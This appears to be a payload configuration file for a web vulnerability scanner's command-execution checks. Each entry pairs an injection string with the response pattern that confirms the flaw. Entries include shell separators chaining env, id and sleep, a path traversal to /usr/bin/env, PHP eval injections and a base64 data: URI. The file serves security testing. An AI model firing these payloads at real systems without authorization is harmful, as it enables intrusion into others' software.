[DEFAULT]
payload = None
; rules will be used as a boolean OR if there are multiple
rules = None
description = None
status = vulnerability
type = pattern

[no_escape]
payload = id
rules = [SPACE]gid=
    [SPACE]groupes=
    [SPACE]groups=
description = Command execution
status = vulnerability

[no_escape_owasp_benchmark]
payload = id
rules = [SPACE]gid&#x3d;
    [SPACE]groupes&#x3d;
    [SPACE]groups&#x3d;
description = Command execution
status = vulnerability

[semicolon_escape]
payload = ;env;
rules = PATH=
    PWD=
description = Command execution
status = vulnerability

[semicolon_escape_owasp_benchmark]
payload = ;env;
rules = PATH&#x3d;
    PWD&#x3d;
description = Command execution
status = vulnerability

[pipe_escape]
payload = |env
rules = PATH=
    PWD=
description = Command execution
status = vulnerability

[double_ampersand_escape]
payload = &&env
rules = PWD=
    PATH=
description = Command execution
status = vulnerability

[pipe_escape_known_prefix]
payload = [VALUE]|env
rules = PWD=
    PATH=
description = Command execution
status = vulnerability

[pipe_escape_known_prefix_owasp_benchmark]
payload = [VALUE]|env
rules = PWD&#x3d;
    PATH&#x3d;
description = Command execution
status = vulnerability

[semicolon_escape_prefix]
payload = a;env;
rules = PATH=
    PWD=
description = Command execution
status = vulnerability

[semicolon_escape_prefix_and_parenthesis]
payload = a;env;
rules = PATH=
    PWD=
description = Command execution
status = vulnerability

[dir_up_perl_exec]
payload = ../../../../../../../../../../../../../../../usr/bin/env|
rules = PATH=
    PWD=
description = Command execution
status = vulnerability

[semicolon_escape_known_prefix]
payload = [VALUE];env;
rules = PATH=
    PWD=
description = Command execution
status = vulnerability

[new_line_escape]
payload = [VALUE][LF]env;
rules = PATH=
    PWD=
description = Command execution
status = vulnerability

[ampersand_escape]
payload = &set&
rules = PATH=
    PWD=
description = Command execution
status = vulnerability

[simple_set_execution]
payload = set
rules = PATH=
    PWD=
description = Command execution
status = vulnerability

[simple_env_execution]
payload = env
rules = PATH=
    PWD=
description = Command execution
status = vulnerability

[php_eval_letter_prefix_1]
payload = a;exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_letter_prefix_2]
payload = a;exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_double_quote_semicolon_1]
payload = ";exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_double_quote_semicolon_2]
payload = ";exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_single_quote_semicolon_1]
payload = ';exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_single_quote_semicolon_2]
payload = ';exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_double_quote_dot_1]
payload = ".exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_double_quote_dot_2]
payload = ".exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_single_quote_dot_1]
payload = '.exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_single_quote_dot_2]
payload = '.exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_semicolon_1]
payload = ;exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_semicolon_2]
payload = ;exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[data_scheme_inclusion]
payload = data:;base64,PD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA/Pg==
rules = w4p1t1_eval
description = PHP evaluation
status = vulnerability

[backticks_syntax]
payload = a`)`
rules = nosuchmatchingule
description = PHP evaluation
status =  vulnerability

[timeout_backticks]
payload = a`sleep 60`
description = Command execution
type = time

[timeout_semicolon]
payload = a;sleep 60;
description = Command execution
type = time


[timeout_pipe]
payload = a|sleep 60;
description = Command execution
type = time

[timeout_ping]
payload = &ping -n 25 127.0.0.1&
description = Command execution
type = time